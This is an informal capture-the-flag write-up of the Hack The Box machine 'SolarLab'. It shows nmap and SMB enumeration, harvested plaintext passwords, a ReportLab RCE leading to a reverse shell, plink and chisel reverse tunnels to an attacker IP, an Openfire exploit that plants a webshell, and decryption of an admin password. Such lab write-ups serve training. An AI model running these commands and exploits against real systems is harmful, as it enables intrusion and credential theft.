HTB - SolarLab

NMAP


PORT     STATE SERVICE       VERSION
80/tcp   open  http          nginx 1.24.0
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.24.0
|_http-title: Did not follow redirect to http://solarlab.htb/
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
6791/tcp open  http          nginx 1.24.0
|_http-title: Did not follow redirect to http://report.solarlab.htb:6791/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.24.0
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: broadband router|specialized
Running (JUST GUESSING): OneAccess embedded (89%), AVtech embedded (87%)
OS CPE: cpe:/h:oneaccess:1641
Aggressive OS guesses: OneAccess 1641 router (89%), AVtech Room Alert 26W environmental monitor (87%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=255 (Good luck!)
IP ID Sequence Generation: Busy server or unknown class
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-05-23T05:00:08
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_clock-skew: -2s
10.10.11.16

using technique found in [[HTB - Querier]] we use binwalk to grab some juicy goods out of the .xlsx archive

![](/img/Pasted image 20240523001959.png) nice! very cool.

![](/img/Pasted image 20240523002753.png)

BIG HUGE LARGE (usernames and pws are a list of possible usernames and passwords we retrieved from above .xlsx)

got a lil stuck here - so here's some enumeration stuff

┌──(root㉿kali)-[~/boxes/solarlab]
└─# crackmapexec smb -u blake.byte -p ThisCanB3typedeasily1@ -d solarlab.htb 10.10.11.16 --rid-brute
SMB         10.10.11.16     445    SOLARLAB         [*] Windows 10.0 Build 19041 x64 (name:SOLARLAB) (domain:solarlab.htb) (signing:False) (SMBv1:False)
SMB         10.10.11.16     445    SOLARLAB         [+] solarlab.htb\blake.byte:ThisCanB3typedeasily1@ 
SMB         10.10.11.16     445    SOLARLAB         500: SOLARLAB\Administrator (SidTypeUser)
SMB         10.10.11.16     445    SOLARLAB         501: SOLARLAB\Guest (SidTypeUser)
SMB         10.10.11.16     445    SOLARLAB         503: SOLARLAB\DefaultAccount (SidTypeUser)
SMB         10.10.11.16     445    SOLARLAB         504: SOLARLAB\WDAGUtilityAccount (SidTypeUser)
SMB         10.10.11.16     445    SOLARLAB         513: SOLARLAB\None (SidTypeGroup)
SMB         10.10.11.16     445    SOLARLAB         1000: SOLARLAB\blake (SidTypeUser)
SMB         10.10.11.16     445    SOLARLAB         1001: SOLARLAB\openfire (SidTypeUser)

This was the wrong path. Remember to always look at whats in front of you brother - 6791 port from nmap has a subdomain reports and we can login with the credentials we found earlier. Ok, very cool, but now we need to exploit some CVE - https://github.com/Sudistark/BB-Writeups/blob/main/2023/CVE-2023-33733-rce-via-htmli-in-reportlab.md

https://github.com/c53elyas/CVE-2023-33733

This relies on CVE https://github.com/c53elyas/CVE-2023-33733

![](/img/Pasted image 20240523125004.png) okay so clearly i have code execution, but replacing curl 10.10.14.4 with a python reverse shell doesn't necessarily work regardless of payload seems like i need to obfuscate it or encode with base64 to pass in first, but forgot how to do that (hehe xd)

![](/img/Pasted image 20240523125154.png)


FUCKUP #1 - Be more thorough using revshells. The correct way of exploiting this was using Powershell3 (base64): ![](/img/Pasted image 20240523141205.png)


PS C:\Users\blake\Documents\app> findstr /spin "password" *.*
models.py:10:    password = db.Column(db.String(100), nullable=False)
routes.py:22:        password = request.form['password']
routes.py:25:            if password == user.password:
static\js\jquery-3.6.4.js:2341:for ( i in { radio: true, checkbox: true, file: true, password: true, image: true } ) {
static\js\jquery-3.6.4.js:9389:         password: null,
static\js\jquery-3.6.4.js:10084:                                        options.password
templates\index.html:78:        <input type="password" name="password" placeholder="Password" required>
utils.py:14:        db.session.add(User(username='blakeb', password='ThisCanB3typedeasily1@'))
utils.py:16:        db.session.add(User(username='claudias', password='007poiuytrewq'))
utils.py:18:        db.session.add(User(username='alexanderk', password='HotP!fireguard'))

PS C:\Temp> netstat -ano

Active Connections

  Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING       4436
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       904
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:5040           0.0.0.0:0              LISTENING       1152
  TCP    0.0.0.0:5985           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:6791           0.0.0.0:0              LISTENING       4436
  TCP    0.0.0.0:47001          0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING       664
  TCP    0.0.0.0:49665          0.0.0.0:0              LISTENING       516
  TCP    0.0.0.0:49666          0.0.0.0:0              LISTENING       896
  TCP    0.0.0.0:49667          0.0.0.0:0              LISTENING       1612
  TCP    0.0.0.0:49668          0.0.0.0:0              LISTENING       656
  TCP    10.10.11.16:139        0.0.0.0:0              LISTENING       4
  TCP    10.10.11.16:55928      10.10.14.4:4444        CLOSE_WAIT      5616
  TCP    10.10.11.16:55948      10.10.14.4:4444        ESTABLISHED     3536
  TCP    127.0.0.1:5000         0.0.0.0:0              LISTENING       1204
  TCP    127.0.0.1:5222         0.0.0.0:0              LISTENING       3040
  TCP    127.0.0.1:5223         0.0.0.0:0              LISTENING       3040
  TCP    127.0.0.1:5262         0.0.0.0:0              LISTENING       3040
  TCP    127.0.0.1:5263         0.0.0.0:0              LISTENING       3040
  TCP    127.0.0.1:5269         0.0.0.0:0              LISTENING       3040
  TCP    127.0.0.1:5270         0.0.0.0:0              LISTENING       3040
  TCP    127.0.0.1:5275         0.0.0.0:0              LISTENING       3040
  TCP    127.0.0.1:5276         0.0.0.0:0              LISTENING       3040
  TCP    127.0.0.1:7070         0.0.0.0:0              LISTENING       3040
  TCP    127.0.0.1:7443         0.0.0.0:0              LISTENING       3040
  TCP    127.0.0.1:9090         0.0.0.0:0              LISTENING       3040
  TCP    127.0.0.1:9091         0.0.0.0:0              LISTENING       3040
  TCP    127.0.0.1:49669        127.0.0.1:49670        ESTABLISHED     3040
  TCP    127.0.0.1:49670        127.0.0.1:49669        ESTABLISHED     3040
  TCP    127.0.0.1:49671        127.0.0.1:49672        ESTABLISHED     3040
  TCP    127.0.0.1:49672        127.0.0.1:49671        ESTABLISHED     3040
  TCP    127.0.0.1:49673        127.0.0.1:49674        ESTABLISHED     3040
  TCP    127.0.0.1:49674        127.0.0.1:49673        ESTABLISHED     3040
  TCP    127.0.0.1:49675        127.0.0.1:49676        ESTABLISHED     3040
  TCP    127.0.0.1:49676        127.0.0.1:49675        ESTABLISHED     3040
  TCP    127.0.0.1:49679        127.0.0.1:49680        ESTABLISHED     3040
  TCP    127.0.0.1:49680        127.0.0.1:49679        ESTABLISHED     3040
  TCP    127.0.0.1:49681        127.0.0.1:49682        ESTABLISHED     3040
  TCP    127.0.0.1:49682        127.0.0.1:49681        ESTABLISHED     3040
  TCP    127.0.0.1:49683        127.0.0.1:49684        ESTABLISHED     3040
  TCP    127.0.0.1:49684        127.0.0.1:49683        ESTABLISHED     3040
  TCP    127.0.0.1:49685        127.0.0.1:49686        ESTABLISHED     3040
  TCP    127.0.0.1:49686        127.0.0.1:49685        ESTABLISHED     3040
  TCP    127.0.0.1:49687        127.0.0.1:49688        ESTABLISHED     3040
  TCP    127.0.0.1:49688        127.0.0.1:49687        ESTABLISHED     3040
  TCP    127.0.0.1:49689        127.0.0.1:49690        ESTABLISHED     3040
  TCP    127.0.0.1:49690        127.0.0.1:49689        ESTABLISHED     3040
  TCP    127.0.0.1:49691        127.0.0.1:49692        ESTABLISHED     3040
  TCP    127.0.0.1:49692        127.0.0.1:49691        ESTABLISHED     3040
  TCP    127.0.0.1:49693        127.0.0.1:49694        ESTABLISHED     3040
  TCP    127.0.0.1:49694        127.0.0.1:49693        ESTABLISHED     3040
  TCP    127.0.0.1:49695        127.0.0.1:49696        ESTABLISHED     3040
  TCP    127.0.0.1:49696        127.0.0.1:49695        ESTABLISHED     3040
  TCP    127.0.0.1:49697        127.0.0.1:49698        ESTABLISHED     3040
  TCP    127.0.0.1:49698        127.0.0.1:49697        ESTABLISHED     3040
  TCP    127.0.0.1:49699        127.0.0.1:49700        ESTABLISHED     3040
  TCP    127.0.0.1:49700        127.0.0.1:49699        ESTABLISHED     3040
  TCP    127.0.0.1:49701        127.0.0.1:49702        ESTABLISHED     3040
  TCP    127.0.0.1:49702        127.0.0.1:49701        ESTABLISHED     3040
  TCP    127.0.0.1:49703        127.0.0.1:49704        ESTABLISHED     3040
  TCP    127.0.0.1:49704        127.0.0.1:49703        ESTABLISHED     3040
  TCP    127.0.0.1:49705        127.0.0.1:49706        ESTABLISHED     3040
  TCP    127.0.0.1:49706        127.0.0.1:49705        ESTABLISHED     3040
  TCP    127.0.0.1:49707        127.0.0.1:49708        ESTABLISHED     3040
  TCP    127.0.0.1:49708        127.0.0.1:49707        ESTABLISHED     3040
  TCP    127.0.0.1:49709        127.0.0.1:49710        ESTABLISHED     3040
  TCP    127.0.0.1:49710        127.0.0.1:49709        ESTABLISHED     3040
  TCP    127.0.0.1:49711        127.0.0.1:49712        ESTABLISHED     3040
  TCP    127.0.0.1:49712        127.0.0.1:49711        ESTABLISHED     3040
  TCP    127.0.0.1:49713        127.0.0.1:49714        ESTABLISHED     3040
  TCP    127.0.0.1:49714        127.0.0.1:49713        ESTABLISHED     3040
  TCP    127.0.0.1:49715        127.0.0.1:49716        ESTABLISHED     3040
  TCP    127.0.0.1:49716        127.0.0.1:49715        ESTABLISHED     3040
  TCP    127.0.0.1:49717        127.0.0.1:49718        ESTABLISHED     3040
  TCP    127.0.0.1:49718        127.0.0.1:49717        ESTABLISHED     3040
  TCP    127.0.0.1:55949        127.0.0.1:55950        ESTABLISHED     1204
  TCP    127.0.0.1:55950        127.0.0.1:55949        ESTABLISHED     1204
  TCP    [::]:135               [::]:0                 LISTENING       904
  TCP    [::]:445               [::]:0                 LISTENING       4
  TCP    [::]:5985              [::]:0                 LISTENING       4
  TCP    [::]:47001             [::]:0                 LISTENING       4
  TCP    [::]:49664             [::]:0                 LISTENING       664
  TCP    [::]:49665             [::]:0                 LISTENING       516
  TCP    [::]:49666             [::]:0                 LISTENING       896
  TCP    [::]:49667             [::]:0                 LISTENING       1612
  TCP    [::]:49668             [::]:0                 LISTENING       656
  UDP    0.0.0.0:123            *:*                                    1912
  UDP    0.0.0.0:500            *:*                                    2496
  UDP    0.0.0.0:4500           *:*                                    2496
  UDP    0.0.0.0:5050           *:*                                    1152
  UDP    0.0.0.0:5353           *:*                                    1944
  UDP    0.0.0.0:5355           *:*                                    1944
  UDP    10.10.11.16:137        *:*                                    4
  UDP    10.10.11.16:138        *:*                                    4
  UDP    10.10.11.16:1900       *:*                                    2404
  UDP    10.10.11.16:57401      *:*                                    2404
  UDP    127.0.0.1:1900         *:*                                    2404
  UDP    127.0.0.1:49664        *:*                                    2816
  UDP    127.0.0.1:57402        *:*                                    2404
  UDP    [::]:123               *:*                                    1912
  UDP    [::]:500               *:*                                    2496
  UDP    [::]:4500              *:*                                    2496
  UDP    [::1]:1900             *:*                                    2404
  UDP    [::1]:57400            *:*                                    2404

https://github.com/twelvesec/port-forwarding

#### 7.2.3.3 `-P port` connect to specified port

If your server machine is running its SSH service on a port other than the standard one, you can specify an alternative port number to connect to using the `-P` option, like this:

plink -ssh login.example.com -P 5022
PS C:\Temp> . ./plink64.exe -l root -pw root -R 5000:127.0.0.1:5000 10.10.14.4 -P 2222

cmd.exe /c echo y | plink.exe -ssh -l [attacker_username] -pw [attacker_ssh_password] -R [attacker_ip]:[attacker_port]:[victim_ip]:[victim_port] [attacker_ip]

cmd.exe /c echo y | . ./plink64.exe -ssh -l root -pw root -R 10.10.14.4:2222:10.10.11.16:5000 10.10.14.4

day 3 - the homie comes thru

1. ### SpecialNebulae _—_ Today at 6:28 PM
    
    Get-Process -Id (Get-NetTCPConnection -LocalPort YourPortNumberHere).OwningProcess 
    
    ![Hmmmm](https://cdn.discordapp.com/emojis/919188745553592341.webp?size=48&quality=lossless)
    
    1
    
2. _[_6:29 PM_]_
    
    might work
    
3. _[_6:29 PM_]_
    
    Get-Process -Id (Get-NetUDPEndpoint -LocalPort YourPortNumberHere).OwningProcess

Get-Process -Id (Get-NetTCPConnection -LocalPort 7070).OwningProcess this is actually sick because now you don't have to sit there and try to curl each of these local ports

PS C:\Users\blake\Documents\app> Get-Process -Id (Get-NetTCPConnection -LocalPort 5222).OwningProcess

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName                                                  
-------  ------    -----      -----     ------     --  -- -----------                                                  
   1001      86   391356     295728              3040   0 openfire-service                                             


PS C:\Users\blake\Documents\app> 

PIVOTING WITHOUT SSH!!!!

┌──(root㉿kali)-[/opt/chisel]
└─# ./chisel --help

  Usage: chisel [command] [--help]

  Version: 0.0.0-src (go1.22.3)

  Commands:
    server - runs chisel in server mode
    client - runs chisel in client mode

step 1)

┌──(root㉿kali)-[/opt/chisel]
└─# ./chisel server -p 9090 --reverse 

okay here's the big part you missed

FORWARDING A PORT WITH CHISEL

see [[Pivoting]]

we basically port forwarded 9090, got access to an openfire login page, exploited a CVE, cve allowed us to login and once we were in the admin management panel we installed a plugin that gives us a webshell. from the webshell we used a powershell revshell https://github.com/miko550/CVE-2023-32315 exploit is relatively straightforward LFI

User added successfully: url: http://localhost:9090 username: c5a3nt password: kuw2tf

now we're chilling and just trying to figure out what ?JUICY DEETS we can get from openfire user access

CREATE USER SA PASSWORD DIGEST 'd41d8cd98f00b204e9800998ecf8427e'
┌──(root㉿kali)-[~/boxes/solarlab]
└─# cat dbscript | grep 'passwordKey'
INSERT INTO OFPROPERTY VALUES('passwordKey','hGXiFzsKaAeYLjn',0,NULL)

INSERT INTO OFUSER VALUES('admin','gjMoswpK+HakPdvLIvp6eLKlYh0=','9MwNQcJ9bF4YeyZDdns5gvXp620=','yidQk5Skw11QJWTBAloAb28lYHftqa0x',4096,NULL,'becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442','Administrator','admin@solarlab.htb','001700223740785','0')

CREATE MEMORY TABLE PUBLIC.OFUSER(USERNAME VARCHAR(64) NOT NULL,STOREDKEY VARCHAR(32),SERVERKEY VARCHAR(32),SALT VARCHAR(32),ITERATIONS INTEGER,PLAINPASSWORD VARCHAR(32),ENCRYPTEDPASSWORD VARCHAR(255),NAME VARCHAR(100),EMAIL VARCHAR(100),CREATIONDATE VARCHAR(15) NOT NULL,MODIFICATIONDATE VARCHAR(15) NOT NULL,CONSTRAINT OFUSER_PK PRIMARY KEY(USERNAME))

this is a rabbithole btw - well not really, just don't trying to fucking crack this yourself you will go crazy. there's smarter people who figured it out already: https://github.com/c0rdis/openfire_decrypt update values you already extracted from database init script:

┌──(root㉿kali)-[~/boxes/solarlab]
└─# cat blowfish*
becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442 <-- encpw column
hGXiFzsKaAeYLjn <- 'passwordKey' in ofproperty table
┌──(root㉿kali)-[~/boxes/solarlab/openfire-blowfish]
└─# php TestOpenFireBlowFish.php
77521a97b7f1c84c4c823a24a56a540beb0495bfd434fdf8293e4d50fae6d4302457c7dbd86d5609
ThisPasswordShouldDo!@